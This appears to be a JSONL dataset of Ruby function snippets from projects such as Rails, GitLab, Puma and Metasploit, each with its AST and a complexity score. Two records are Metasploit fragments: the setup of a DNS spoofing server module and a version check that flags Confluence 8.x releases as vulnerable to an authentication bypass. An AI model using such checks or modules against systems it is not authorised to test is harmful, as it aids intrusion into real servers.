{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/tex.rb","start_line":14,"raw_source":"def self.analyze_text(text)\n        return 1 if text =~ /\\A\\s*\\\\documentclass/\n        return 1 if text =~ /\\A\\s*\\\\input/\n        return 1 if text =~ /\\A\\s*\\\\documentstyle/\n        return 1 if text =~ /\\A\\s*\\\\relax/\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"analyze_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\s*\\\\\\\\documentclass\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\s*\\\\\\\\input\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\s*\\\\\\\\documentstyle\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\\\\s*\\\\\\\\relax\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},null]}]}]}","id":"807813d9-0e14-4341-8cf1-e403dad0d3f6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/repository/test_regions.rb","start_line":16,"raw_source":"def test_all_loaded_returns_an_empty_array_if_just_initialize\n    assert_equal([], @subject.all_loaded)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_all_loaded_returns_an_empty_array_if_just_initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"all_loaded\"]}]}]}","id":"f0c3f0e4-4da5-4989-985b-235452d642eb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/internal_metadata.rb","start_line":99,"raw_source":"def drop_table\n      return unless enabled?\n\n      @pool.with_connection do |connection|\n        connection.drop_table table_name, if_exists: true\n      end\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"drop_table\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"0683ea6d-10ea-431a-a0f2-e30033ef2d82"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240818063556_swap_primary_key_for_ci_pipelines_to_include_partition_id.rb","start_line":55,"raw_source":"def add_partitioned_fk(source_table, name, column: :pipeline_id, columns: nil, on_delete: :cascade)\n    add_concurrent_foreign_key(source_table, :ci_pipelines,\n      column: columns || [:partition_id, column],\n      target_column: [:partition_id, :id],\n      reverse_lock_order: true,\n      on_update: :cascade,\n      on_delete: on_delete,\n      name: name)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_partitioned_fk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_table\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"column\",{\"type\":\"sym\",\"children\":[\"pipeline_id\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"columns\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"on_delete\",{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"lvar\",\"children\":[\"source_table\"]},{\"type\":\"sym\",\"children\":[\"ci_pipelines\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"partition_id\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_column\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"partition_id\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_update\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"lvar\",\"children\":[\"on_delete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"11fcaab5-ead0-4623-882b-a5600632fe04"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_binder.rb","start_line":96,"raw_source":"def test_localhost_addresses_dont_alter_listeners_for_tcp_addresses\n    @binder.parse [\"tcp://localhost:0\"], @log_writer\n\n    assert_empty @binder.listeners\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_localhost_addresses_dont_alter_listeners_for_tcp_addresses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"parse\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tcp://localhost:0\"]}]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@binder\"]},\"listeners\"]}]}]}]}","id":"b404a0ac-05d6-4731-9223-e3f02bd7452a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/perf/gc/print_gc_stats.rb","start_line":8,"raw_source":"def nakayoshi_gc\n  4.times { GC.start(full_mark: false) }\n  GC.compact\nend","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"nakayoshi_gc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GC\"]},\"start\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_mark\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GC\"]},\"compact\"]}]}]}","id":"6b14233b-b16f-4994-a2fc-89302072c0da"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/simple_text_formatter.rb","start_line":85,"raw_source":"def annotate_message(msg)\n        msg.gsub(/`(.*?)`/m, yellow('\\1'))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"annotate_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"`(.*?)`\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"yellow\",{\"type\":\"str\",\"children\":[\"\\\\1\"]}]}]}]}","id":"d850b5a0-e24f-43c3-b0a5-11b54e530fe7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/definition/generator/module.rb","start_line":7,"raw_source":"def call(module_name, files, regions, month_strings, custom_methods)\n          raise ArgumentError.new(\"module name cannot be nil\") if module_name.nil?\n          raise ArgumentError.new(\"module name cannot be blank\") if module_name.empty?\n\n          raise ArgumentError.new(\"files cannot be nil\") if files.nil?\n          raise ArgumentError.new(\"files cannot be empty\") if files.empty?\n          raise ArgumentError.new(\"files must all be strings\") unless files.all? { |f| f.is_a?(String) }\n\n          raise ArgumentError.new(\"regions cannot be nil\") if regions.nil?\n          raise ArgumentError.new(\"regions cannot be empty\") if regions.empty?\n\n          raise ArgumentError.new(\"month strings cannot be nil\") if month_strings.nil?\n          raise ArgumentError.new(\"month strings cannot be empty\") if month_strings.empty?\n\n          module_src =<<-EOM\n# encoding: utf-8\nmodule Holidays\n  # This file is generated by the Ruby Holidays gem.\n  #\n  # Definitions loaded: #{files.join(', ')}\n  #\n  # All the definitions are available at https://github.com/holidays/holidays\n  module #{module_name.to_s.upcase} # :nodoc:\n    def self.defined_regions\n      [:#{regions.join(', :')}]\n    end\n\n    def self.holidays_by_month\n      {\n          #{month_strings.join(\",\\n\")}\n      }\n    end\n\n    def self.custom_methods\n      {\n          #{custom_methods}\n      }\n    end\n  end\nend\n          EOM\n\n          module_src\n        end","complexity_score":47.9,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"module_name\"]},{\"type\":\"arg\",\"children\":[\"files\"]},{\"type\":\"arg\",\"children\":[\"regions\"]},{\"type\":\"arg\",\"children\":[\"month_strings\"]},{\"type\":\"arg\",\"children\":[\"custom_methods\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"module name cannot be nil\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_name\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"module name cannot be blank\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"files cannot be nil\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"files cannot be empty\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"files must all be strings\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regions\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"regions cannot be nil\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regions\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"regions cannot be empty\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"month_strings\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"month strings cannot be nil\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"month_strings\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"str\",\"children\":[\"month strings cannot be empty\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"module_src\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"# encoding: utf-8\\n\"]},{\"type\":\"str\",\"children\":[\"module Holidays\\n\"]},{\"type\":\"str\",\"children\":[\"  # This file is generated by the Ruby Holidays gem.\\n\"]},{\"type\":\"str\",\"children\":[\"  #\\n\"]},{\"type\":\"str\",\"children\":[\"  # Definitions loaded: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  #\\n\"]},{\"type\":\"str\",\"children\":[\"  # All the definitions are available at https://github.com/holidays/holidays\\n\"]},{\"type\":\"str\",\"children\":[\"  module \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"module_name\"]},\"to_s\"]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\" # :nodoc:\\n\"]},{\"type\":\"str\",\"children\":[\"    def self.defined_regions\\n\"]},{\"type\":\"str\",\"children\":[\"      [:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regions\"]},\"join\",{\"type\":\"str\",\"children\":[\", :\"]}]}]},{\"type\":\"str\",\"children\":[\"]\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    def self.holidays_by_month\\n\"]},{\"type\":\"str\",\"children\":[\"      {\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"month_strings\"]},\"join\",{\"type\":\"str\",\"children\":[\",\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    def self.custom_methods\\n\"]},{\"type\":\"str\",\"children\":[\"      {\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_methods\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"lvar\",\"children\":[\"module_src\"]}]}]}","id":"84a57ba7-af32-4fad-854d-f0deecdef52e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/design_management/save_designs_service.rb","start_line":111,"raw_source":"def new_file?(design)\n      !existing_blobs[design]\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"new_file?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"design\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_blobs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"design\"]}]},\"!\"]}]}","id":"af6bdc24-1de5-4585-a11d-cda3fcb2a402"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/dns/spoofhelper.rb","start_line":11,"raw_source":"def initialize\n    super(\n      'Name' => 'DNS Spoofing Helper Service',\n      'Description' => %q{\n        This module provides a DNS service that returns TXT\n        records indicating information about the querying service.\n        Based on Dino Dai Zovi DNS code from Karma.\n      },\n      'Author' => ['hdm', 'ddz'],\n      'License' => MSF_LICENSE,\n      'Actions' => [\n        [ 'Service', { 'Description' => 'Run DNS spoofing server' } ]\n      ],\n      'PassiveActions' => [\n        'Service'\n      ],\n      'DefaultAction' => 'Service',\n      'Notes' => {\n        'Stability' => [CRASH_SAFE],\n        'SideEffects' => [],\n        'Reliability' => []\n      }\n    )\n\n    register_options(\n      [\n        OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]),\n        OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 53 ]),\n      ]\n    )\n  end","complexity_score":4.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"DNS Spoofing Helper Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module provides a DNS service that returns TXT\\n\"]},{\"type\":\"str\",\"children\":[\"        records indicating information about the querying service.\\n\"]},{\"type\":\"str\",\"children\":[\"        Based on Dino Dai Zovi DNS code from Karma.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]},{\"type\":\"str\",\"children\":[\"ddz\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Service\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Run DNS spoofing server\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PassiveActions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Service\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The local host to listen on.\"]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The local port to listen on.\"]},{\"type\":\"int\",\"children\":[53]}]}]}]}]}]}]}","id":"009485cf-0046-4a8f-aef6-432fa5e4cc69"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.rb","start_line":51,"raw_source":"def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/login.action')\n    )\n    return Exploit::CheckCode::Unknown unless res\n    return Exploit::CheckCode::Safe unless res.code == 200\n\n    poweredby = res.get_xml_document.xpath('//ul[@id=\"poweredby\"]/li[@class=\"print-only\"]/text()').first&.text\n    return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\\d+(\\.\\d+)*)/\n\n    confluence_version = Rex::Version.new(Regexp.last_match(1))\n\n    vprint_status(\"Detected Confluence version: #{confluence_version}\")\n\n    if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||\n       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||\n       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))\n      return Exploit::CheckCode::Appears(\"Exploitable version of Confluence: #{confluence_version}\")\n    end\n\n    Exploit::CheckCode::Safe(\"Confluence version: #{confluence_version}\")\n  end","complexity_score":39.65,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/login.action\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"poweredby\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_xml_document\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//ul[@id=\\\"poweredby\\\"]/li[@class=\\\"print-only\\\"]/text()\"]}]},\"first\"]},\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poweredby\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Confluence (\\\\d+(\\\\.\\\\d+)*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"confluence_version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Detected Confluence version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"8.0.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"8.3.2\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"8.4.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"8.4.2\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"8.5.0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"8.5.1\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exploitable version of Confluence: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_version\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Confluence version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confluence_version\"]}]}]}]}]}]}","id":"cf289464-1c57-492e-b32e-5fdb6c8e7608"}
